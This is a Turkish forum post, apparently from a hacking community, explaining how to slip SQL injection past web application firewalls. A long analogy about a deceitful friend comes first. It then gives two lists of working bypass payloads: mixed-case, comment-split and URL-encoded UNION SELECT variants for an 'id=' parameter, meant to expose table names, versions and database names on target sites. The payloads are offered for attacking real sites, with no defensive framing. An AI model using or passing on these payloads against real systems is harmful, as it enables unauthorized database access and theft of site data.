WAF (Web Application Firewall) İnjection

WAF (Web Application Firewall) İnjection SQL Injection yaptığımız zaman genellikle kolon sayılarını, tablo isimlerini, versiyon numarasını, database ismini vb. gibi bilgileri...

WAF (Web Application Firewall) İnjection
k64OnW.png


SQL Injection yaptığımız zaman genellikle kolon sayılarını, tablo isimlerini, versiyon numarasını, database ismini vb. gibi bilgileri ekrana yansıtamayız. İşte bunun sebebi Firewall yani Güvenlik Duvarının engellemesinden kaynaklıdır. İşte bu yüzden komutlarımızı büyük-küçük veya kimi zaman bazı işaretler bırakarak Güvenlik Duvarını (Firewall) korumasını atlamaya yani bu "savunmayı" geçmeye çalışırız. İşte bu aşağıdaki komutlar Güvenlik Duvarını (Firewall)’i geçmemiz için çeşitli komutlardır.

Not: Tüm komutlar aynı işlevi görmektedir.

Örneğin: union+select ile (UnIoN)+(SelECT) komutları aynı işlevi görmektedir.

Peki şöyle sorabilirsiniz: "Aynı işlevi görüyor ise neden o zaman iki komutu da paylaşıyorsun?" diye sorabilirsiniz.

Güvenlik Duvarını (Firewall)’i geçmek için bu komutları büyük-küçük, kimi zaman parantez içine kimi zaman da özel işaretler kullanırız ve Güvenlik Duvarını yani Firewall’i geçmiş oluruz. Bunun sonucunda da kolon sayısını, tablo isimlerini, versiyon numarasını veya ki database ismini ekrana yansıtabiliriz.

Aslında bu yöntemi "iki yüzlülük" olarak düşünebilirsiniz.

-Arkadaşınızı (Saldırı yapan)
-Siz ise kendinizi (Firewall) olarak düşünün.

Şöyle ki: Diyelim ki bir akradaşınız gelip size yalan konuştu ya da arkanızdan iş çevirdi diyelim.

Peki siz bu durum karşısında ne yaparsınız?

Tabii ki de arkadaşınızı yanınızdan uzaklaştırırsınız veya hiç konuşmazsınız öyle değil mi?

Peki bir de şöyle düşünün: Arkadaşınızın onca aradan sonra gelip size aynı yalanı atması imkansızdır değil mi?

Çünkü yaptığı aynı hilekarlığı görmüşsünüz ve öğrenmişsinizdir fakat arkadaşınız sizin yanınıza gelip, sizden özür dileyip ve daha sonra farklı sahtekarlıklar üzerinden size yönelirse bunu elbette fark etmeniz oldukça olanaksızlaşır.

Çünkü size ikinci gelişinde aynı yalan ile değil farklı "güçlü", "etkin" yalanlar ve yöntemlerle yani fark edilmesi oldukça zor bir yalanlarla, ikiyüzlülük ile karşınıza gelecektir.

Tabii sizinde bunu fark etmeniz oldukça zorlaşacaktır.

O zaman sonuç olarak şöyle diyebiliriz: ya arkadaşınız tekrardan sizin sevginizi kazanacak sizi içerden fethedecek ya da bu durumdan haberdar olup farkedip halen kaldığınız yerden hayatınıza devam edeceksiniz.

Kısacası bunu şöyle diyebiliriz: Sonuca ulaşmak için türlü kılığa giren ve amacı sizi kandırmak olan (arkadaşınız) yani SQL Injection Atakları yani (Saldırgan) ve siz ise kendinizi birer (Firewall) olarak düşünebilirsiniz.

Not: Güvenlik Duvarını (Firewall)’i geçmek için çeşitli yöntemler vardır. Birinci komut işinizi görmeyebilir. Diğer komutları denerseniz elbette ki sonucunda bir komutla Güvenlik Duvarını (Firewall)’i atlatacaksınız ve bu yöntem sayesinde ekrana yansıtmak istediğiniz bilgilere ulaşabilirsiniz.

Bu durum genellikle: Not Found, Not Found 404, Not Found 406, Not Found Mod Security vs. gibi durumları aşmak içindir.

Atlayarak Bypass Yöntemleri;

1. id=1+(UnIoN)+(SelECT)+
2. id=1+(UnIoN+SeLeCT)+
3. id=1+(UnI)(oN)+(SeL)(EcT)
4. id=1+’UnI”On’+’SeL”ECT’
5. id=1+%55nion all /*!12345%53elect*/ 1,version(),3—
6. id=1+UnIoN+SeLecT 1,2,3—
7. id=1+UnIOn/**/SeLect 1,2,3—
8. id=1+UNIunionON+SELselectECT 1,2,3—
9. id=1+/*!UnIOn*/+/*!sElEcT*/ 1,2,3—
10. id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT 1,2,3—
11. id=1+%23sexsexsex%0aUnIOn%23sexsexsex%0aSeLecT+1,2 ,3—
12. id=1+un/**/ion+sel/**/ect+1,2,3–
13. id=1+/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3
14. id=1+/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table–
15. id=1+/**/union/*&id=*/select/*&id=*/1,2,3–

union+select seçerek Bypass Atlamak;

union(select(0),version(),(0),(0),(0),(0),( 0),(0),(0))
/*!50000union*/+/*!50000select*/
UNIunionON+SELselectECT
+union+distinct+select+
+union+distinctROW+select+
union+/*!select*/+1,2,3
union/**/select/**/1,2,3
uni%20union%20/*!select*/%20
/**//*!union*//**//*!select*//**/
union%23aa%0Aselect
/**/union/*!50000select*/
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%2f%2a*/UNION%2f%2a /SELECT%2f%2a*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
id=1+’UnI”On’+’SeL”ECT’ <-MySQL only
id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only
+div+0
Having+1=0
+AND+1=0
+/*!and*/+1=0
and(1)=(0)
 
131,877Konular
3,272,215Mesajlar
316,456Kullanıcılar
Üst Alt